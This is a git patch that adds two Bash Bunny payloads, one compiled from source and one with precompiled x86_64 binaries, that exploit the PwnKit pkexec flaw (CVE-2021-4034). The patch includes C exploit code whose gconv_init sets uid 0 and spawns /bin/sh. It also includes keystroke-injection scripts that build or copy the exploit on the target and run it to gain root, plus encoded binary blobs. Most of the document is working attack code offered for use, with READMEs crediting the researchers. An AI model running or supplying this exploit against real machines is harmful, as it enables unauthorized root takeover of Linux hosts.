From c06fd4aa807a14b1a68b0dfaf1ecb089c5da6685 Mon Sep 17 00:00:00 2001 From: TW-D <75358550+TW-D@users.noreply.github.com> Date: Sat, 29 Jan 2022 12:26:56 -0500 Subject: [PATCH] Add "PwnKit Vulnerability" - LPE (#489) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add "PwnKit Vulnerability" - LPE The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program that is installed by default on every major Linux distribution. * Add Credits to README.MD * pwnkit: Move to shorter directory name * pwnkit: Add compiled version * pwnkit: Copy built binaries instead of compiling * make it executable * add credits Co-authored-by: Marc --- .../PwnKit_LPE/CVE-2021-4034_files/exploit.c | 21 ++++ .../PwnKit_LPE/CVE-2021-4034_files/library.c | 24 ++++ .../library/execution/PwnKit_LPE/README.md | 26 ++++ .../library/execution/PwnKit_LPE/payload.txt | 112 +++++++++++++++++ .../CVE-2021-4034_files/exploit.c | 21 ++++ .../CVE-2021-4034_files/library.c | 24 ++++ .../CVE-2021-4034_files/pwnkit | Bin 0 -> 16144 bytes .../CVE-2021-4034_files/pwnkit.so | Bin 0 -> 15592 bytes .../execution/PwnKit_LPE_Compiled/README.md | 28 +++++ .../execution/PwnKit_LPE_Compiled/payload.txt | 116 ++++++++++++++++++ 10 files changed, 372 insertions(+) create mode 100644 payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/exploit.c create mode 100644 payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/library.c create mode 100644 payloads/library/execution/PwnKit_LPE/README.md create mode 100644 payloads/library/execution/PwnKit_LPE/payload.txt create mode 100644 payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/exploit.c create mode 100644 payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/library.c create mode 100755 payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/pwnkit create mode 100755 payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/pwnkit.so create mode 100644 payloads/library/execution/PwnKit_LPE_Compiled/README.md create mode 100644 payloads/library/execution/PwnKit_LPE_Compiled/payload.txt diff --git a/payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/exploit.c b/payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/exploit.c new file mode 100644 index 00000000..7df10400 --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/exploit.c @@ -0,0 +1,21 @@ +#include + +int main() { + + char * const ARGUMENTS[] = { + NULL + }; + + char * const ENVIRONMENT[] = { + "pwnkit.so:.", + "PATH=GCONV_PATH=.", + "SHELL=PWNKIT", + "CHARSET=PWNKIT", + NULL + }; + + execve("/usr/bin/pkexec", ARGUMENTS, ENVIRONMENT); + + return(0); + +} \ No newline at end of file diff --git a/payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/library.c b/payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/library.c new file mode 100644 index 00000000..4dadea26 --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/library.c @@ -0,0 +1,24 @@ +#include +#include +#include + +void gconv() {} + +void gconv_init() { + + char * const ARGUMENTS[] = { + "/bin/sh", + NULL + }; + + char * const ENVIRONMENT[] = { + "PATH=/bin:/sbin:/usr/bin:/usr/sbin/", + NULL + }; + + setuid(0); + setgid(0); + execve(ARGUMENTS[0], ARGUMENTS, ENVIRONMENT); + exit(0); + +} \ No newline at end of file diff --git a/payloads/library/execution/PwnKit_LPE/README.md b/payloads/library/execution/PwnKit_LPE/README.md new file mode 100644 index 00000000..f6649bf9 --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE/README.md @@ -0,0 +1,26 @@ +# PwnKit Vulnerability - Local Privilege Escalation + +- Title: PwnKit Vulnerability - Local Privilege Escalation +- Author: TW-D +- Version: 1.0 +- Target: Linux +- Category: Execution +- Credits: Qualys Research Team + +## Description + +The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program that is installed by default on every major Linux distribution. This easily exploited vulnerability allows any unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in its default configuration. + +[PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034) + +## Configuration + +From "payload.txt" change the values of the following constant : +```bash + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + + +``` diff --git a/payloads/library/execution/PwnKit_LPE/payload.txt b/payloads/library/execution/PwnKit_LPE/payload.txt new file mode 100644 index 00000000..fc5db15a --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE/payload.txt @@ -0,0 +1,112 @@ +#!/bin/bash +# +# Title: PwnKit Vulnerability - Local Privilege Escalation +# +# Description: +# The Qualys Research Team has discovered a memory corruption +# vulnerability in polkit’s pkexec, a SUID-root program that +# is installed by default on every major Linux distribution. +# +# Author: TW-D +# Version: 1.0 +# Category: Execution +# Target: Linux +# Attackmodes: HID and STORAGE +# +# TESTED ON +# =============== +# Ubuntu 20.04.3 LTS x86_64 +# pkexec version 0.105 +# +# STATUS +# =============== +# Magenta solid ................................... SETUP +# Yellow single blink ............................. ATTACK +# Yellow double blink ............................. STAGE2 +# Yellow triple blink ............................. STAGE3 +# Yellow quadruple blink .......................... STAGE4 +# White fast blink ................................ CLEANUP +# Green 1000ms VERYFAST blink followed by SOLID ... FINISH + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + +######## SETUP ######## + +LED SETUP + +ATTACKMODE HID STORAGE +GET SWITCH_POSITION +udisk mount + +######## ATTACK ######## + +LED ATTACK + +Q DELAY 7000 +RUN UNITY xterm +Q DELAY 7000 + +LED STAGE2 + +Q STRING "cd /media/\${USER}/${BB_LABEL}/payloads/${SWITCH_POSITION}/CVE-2021-4034_files/" +Q ENTER +Q DELAY 3500 + +Q STRING "mkdir /tmp/pwnkit_lpe/" +Q ENTER +Q DELAY 1500 + +Q STRING "gcc -shared -o /tmp/pwnkit_lpe/pwnkit.so -fPIC ./library.c" +Q ENTER +Q DELAY 1500 + +Q STRING "gcc ./exploit.c -o /tmp/pwnkit_lpe/pwnkit" +Q ENTER +Q DELAY 1500 + +LED STAGE3 + +Q STRING "echo \"module UTF-8// PWNKIT// pwnkit 1\" > /tmp/pwnkit_lpe/gconv-modules" +Q ENTER +Q DELAY 1500 + +Q STRING "mkdir -p \"/tmp/pwnkit_lpe/GCONV_PATH=.\"" +Q ENTER +Q DELAY 1500 + +Q STRING "cp /usr/bin/true \"/tmp/pwnkit_lpe/GCONV_PATH=./pwnkit.so:.\"" +Q ENTER +Q DELAY 1500 + +LED STAGE4 + +Q STRING "cd /tmp/pwnkit_lpe/" +Q ENTER +Q DELAY 1500 + +Q STRING "/usr/bin/pkexec --version" +Q ENTER +Q DELAY 1500 + +Q STRING "./pwnkit" +Q ENTER +Q DELAY 1500 + +Q STRING "id" +Q ENTER +Q DELAY 1500 + +######## CLEANUP ######## + +LED CLEANUP + +sync +udisk unmount + +######## FINISH ######## + +LED FINISH + +shutdown -h 0 \ No newline at end of file diff --git a/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/exploit.c b/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/exploit.c new file mode 100644 index 00000000..7df10400 --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/exploit.c @@ -0,0 +1,21 @@ +#include + +int main() { + + char * const ARGUMENTS[] = { + NULL + }; + + char * const ENVIRONMENT[] = { + "pwnkit.so:.", + "PATH=GCONV_PATH=.", + "SHELL=PWNKIT", + "CHARSET=PWNKIT", + NULL + }; + + execve("/usr/bin/pkexec", ARGUMENTS, ENVIRONMENT); + + return(0); + +} \ No newline at end of file diff --git a/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/library.c b/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/library.c new file mode 100644 index 00000000..4dadea26 --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/library.c @@ -0,0 +1,24 @@ +#include +#include +#include + +void gconv() {} + +void gconv_init() { + + char * const ARGUMENTS[] = { + "/bin/sh", + NULL + }; + + char * const ENVIRONMENT[] = { + "PATH=/bin:/sbin:/usr/bin:/usr/sbin/", + NULL + }; + + setuid(0); + setgid(0); + execve(ARGUMENTS[0], ARGUMENTS, ENVIRONMENT); + exit(0); + +} \ No newline at end of file diff --git a/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/pwnkit b/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/pwnkit new file mode 100755 index 0000000000000000000000000000000000000000..787f73d8eb0a2eee48383070e077774166e4442b GIT binary patch literal 16144 zcmeHOZ)_Y#6`woDi9_nMliI~3BtF_ia$5Opr-^Y>x!JRQ_8z%7hhsMdl5W>`Yx|V@ zWA64+J3?S&TIC1^3keWXAVER`fsk791;Ga#xk_5`B@v=B1yrlF;FQvu&=!Z19PiD( zcivm<0{zf_*^%~sGr#wKGqZ1J*R$T4FN7k!UXMp`st^weEJbTAMj^xO$0-A#hz?N= zzq`avu@TA}Bxl(b3&3in1#dZ45nlm_x(3XwfgiPK!N@&CMBRF696JPwQP6pyt`ZGY zcA`Q3WMq4(JwJ*e`Q>j3A43O7jCLJ%WvN-3#ZqTEMyb6=2w8_k)UA+ig>;OI)E*

d9_Zh~}9>>+kiJ0<3jW4%Xs%F13UgNsb)TL%Y*9rgOn-;Wh8ZRvRR{Mm2cb9n!+<}YmeCHmlb zV4diL2{}ACp^Xpb{ulf-IQiFb#JaYv!8fhLqwiY&r-Apw;Y?2e;dhcy{s?j-36^cV{eD}q@te4Ezy`%CAV;^7B>XnsK3*+v_t%Yp8v!>0 zZUo#2xDjw8;6~tsiooA%cKuVGeyvJ9SNYo(A=D@4OmFe3I{i%5yzEl(z)L_E_q+_h zHH`}7usnvg>x)H5dtSg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vsvR$$$4IP^R(VdVEJ_IHlopOU`RjGsIS`>Dv_)LZk# z)$11}9V31-vnQt>=Z_daZvU*`@@8DHiltw^eoXutGO$op-UG<-yps1{I{mrK_#$X( zYA9cW1#Y)g1~GEnf1clUklyK!ZP`;bwNLIP z6YHIGYS!D4$4*HMnJ87bOdZ4LFuvn)fB5;i8944cWJ^h*f!pDzoZDqboaU~jpTIv% LknVB_97XYOwH|bk literal 0 HcmV?d00001 diff --git a/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/pwnkit.so b/payloads/library/execution/PwnKit_LPE_Compiled/CVE-2021-4034_files/pwnkit.so new file mode 100755 index 0000000000000000000000000000000000000000..2254beeb23004979438655c3543e82f1a7e308fc GIT binary patch literal 15592 zcmeHOYit}>6~4Q1TDP@hwk7jALz2o6SUcc(R1W^UY2-a+AVgVVZXP;FH8@KAE>ScVdviQGyh4x zG4VTMnZRL+JfO(;aq^Q(D>Hh3(k|+8$=B#QY)U;rMb!1QC#LIMm$MlrGeq2ZH+|kELYiE5DxD}56DQQE zk<o_wVHL(iD$B5}C?%KNf(x#Q{!T1&WmpYi?cmhDYE4NgT_wtlL7>jb$zW zm}Or2ZoEdaeW~|N0_;mWf5_ziYyKWe{V4O4`liZS+kr*0RVzZt{%hL)_?MX6y=7nA zw6FZ(q9zxd+x~ohi@lSiR^?-p_J!U!v-ZVz{8oFZ z_XG)*J)87yzn-SaUEO(vfY{?J(}}hNpW|t$mFaDs&!6LM%#iIQ#dz-V6(&@_?u@L=}iC5LFZGEp&$q?O5 zl;4>7H&-69r^Z!mzCE_T<;Ldc=)VJp2)mO$uaVyv8|-Qy-qrC)+bvHvFRGLK9{k9$ zLkAgVn?d?~bF)&>zfbk;YJVm^(0W5Z1tPqIKAi7a((B(Op(iXFQ3aw3L=}iC5LFGQYd=*k_1B zeR6{2QIu*L9qB^%DybwrRaMFOxd1S{1%euzsDGnA)pQci_t!|9}c#$2YY>n>u1? zrh51laU2Krfnr_bdlbGWz+a~mi!1t;h3daW1{RD0bRXH*>p#DT@Ot(SY5VK@&-)w1 znQVYh6J9U=Vgvgx6Mir-Z?Lau`xbRw-+S8gOMaQULDFiw-QDr?PMRCuOVk&iDLON` z;#4Zq68#Oq6x z@QRs~pHc~TR<87HhI}Cz4|BCFst}(+!3D`oE?8 z9Oq|YTmm)P&xAa9oyUsz#rK2#02x>`3#D6FziuB z$S;V0wf>f9gz|o_;6VL>eVZ804}Uz@K@Y)DXgI%FKWzJtS;i1_QT#x{`M*yJUW;L! ziuFDA@rCUngYtT$E#Qy!e+U0zpaDB0ZOg!aK?=TikRR(E?8{u1>nF?hYCK%WUz0DJ zz#sdy*18C!Vd>-c0eL}xN2;K|N{Vf_p*)-%ox|!rY0ij?QC- X{Vo!TCL}6;y{zZ|oBQfJg#G^o^{lU8 literal 0 HcmV?d00001 diff --git a/payloads/library/execution/PwnKit_LPE_Compiled/README.md b/payloads/library/execution/PwnKit_LPE_Compiled/README.md new file mode 100644 index 00000000..87f948c5 --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE_Compiled/README.md @@ -0,0 +1,28 @@ +# PwnKit Vulnerability - Local Privilege Escalation - Compiled + +- Title: PwnKit Vulnerability - Local Privilege Escalation +- Author: TW-D +- Version: 1.0 +- Target: Linux +- Category: Execution +- Credits: Qualys Research Team + +## Description + +This is a version of the PwnKit Vulnerability Local Privilege Escalation containing pre-compiled binaries for x86_64 Linux. If you don't want to use the pre-compiled binaries or you are targetting a different architecture, please find the `PwnKit-LPE` directory. + +The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program that is installed by default on every major Linux distribution. This easily exploited vulnerability allows any unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in its default configuration. + +[PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034) + +## Configuration + +From "payload.txt" change the values of the following constant : +```bash + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + + +``` diff --git a/payloads/library/execution/PwnKit_LPE_Compiled/payload.txt b/payloads/library/execution/PwnKit_LPE_Compiled/payload.txt new file mode 100644 index 00000000..fec96d9c --- /dev/null +++ b/payloads/library/execution/PwnKit_LPE_Compiled/payload.txt @@ -0,0 +1,116 @@ +#!/bin/bash +# +# Title: PwnKit Vulnerability - Local Privilege Escalation +# +# Description: +# The Qualys Research Team has discovered a memory corruption +# vulnerability in polkit’s pkexec, a SUID-root program that +# is installed by default on every major Linux distribution. +# +# Author: TW-D +# Version: 1.0 +# Category: Execution +# Target: Linux +# Attackmodes: HID and STORAGE +# +# TESTED ON +# =============== +# Ubuntu 20.04.3 LTS x86_64 +# pkexec version 0.105 +# +# STATUS +# =============== +# Magenta solid ................................... SETUP +# Yellow single blink ............................. ATTACK +# Yellow double blink ............................. STAGE2 +# Yellow triple blink ............................. STAGE3 +# Yellow quadruple blink .......................... STAGE4 +# White fast blink ................................ CLEANUP +# Green 1000ms VERYFAST blink followed by SOLID ... FINISH + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + +######## SETUP ######## + +LED SETUP + +ATTACKMODE HID STORAGE +GET SWITCH_POSITION +udisk mount + +######## ATTACK ######## + +LED ATTACK + +Q DELAY 7000 +RUN UNITY xterm +Q DELAY 7000 + +LED STAGE2 + +Q STRING "cd /media/\${USER}/${BB_LABEL}/payloads/${SWITCH_POSITION}/CVE-2021-4034_files/" +Q ENTER +Q DELAY 3500 + +Q STRING "mkdir /tmp/pwnkit_lpe/" +Q ENTER +Q DELAY 1500 + +Q STRING "cp pwnkit.so /tmp/pwnkit_lpe/pwnkit.so" +Q ENTER +Q DELAY 1500 + +Q STRING "cp pwnkit /tmp/pwnkit_lpe/pwnkit" +Q ENTER +Q DELAY 1500 + +LED STAGE3 + +Q STRING "echo \"module UTF-8// PWNKIT// pwnkit 1\" > /tmp/pwnkit_lpe/gconv-modules" +Q ENTER +Q DELAY 1500 + +Q STRING "mkdir -p \"/tmp/pwnkit_lpe/GCONV_PATH=.\"" +Q ENTER +Q DELAY 1500 + +Q STRING "cp /usr/bin/true \"/tmp/pwnkit_lpe/GCONV_PATH=./pwnkit.so:.\"" +Q ENTER +Q DELAY 1500 + +LED STAGE4 + +Q STRING "cd /tmp/pwnkit_lpe/" +Q ENTER +Q DELAY 1500 + +Q STRING "/usr/bin/pkexec --version" +Q ENTER +Q DELAY 1500 + +Q STRING "chmod +x ./pwnkit" +Q ENTER +Q DELAY 1500 + +Q STRING "./pwnkit" +Q ENTER +Q DELAY 1500 + +Q STRING "id" +Q ENTER +Q DELAY 1500 + +######## CLEANUP ######## + +LED CLEANUP + +sync +udisk unmount + +######## FINISH ######## + +LED FINISH + +shutdown -h 0